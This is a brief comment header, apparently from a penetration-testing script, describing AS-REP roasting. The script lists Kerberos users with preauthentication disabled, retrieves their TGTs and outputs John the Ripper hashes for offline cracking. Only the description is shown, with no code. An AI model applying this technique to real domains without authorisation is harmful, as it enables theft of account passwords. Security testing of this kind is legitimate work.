# Description:
#    This script will attempt to list and get TGTs for those users that have the property
#    'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
#    For those users with such configuration, a John The Ripper output will be generated so
#    you can send it for cracking.
#
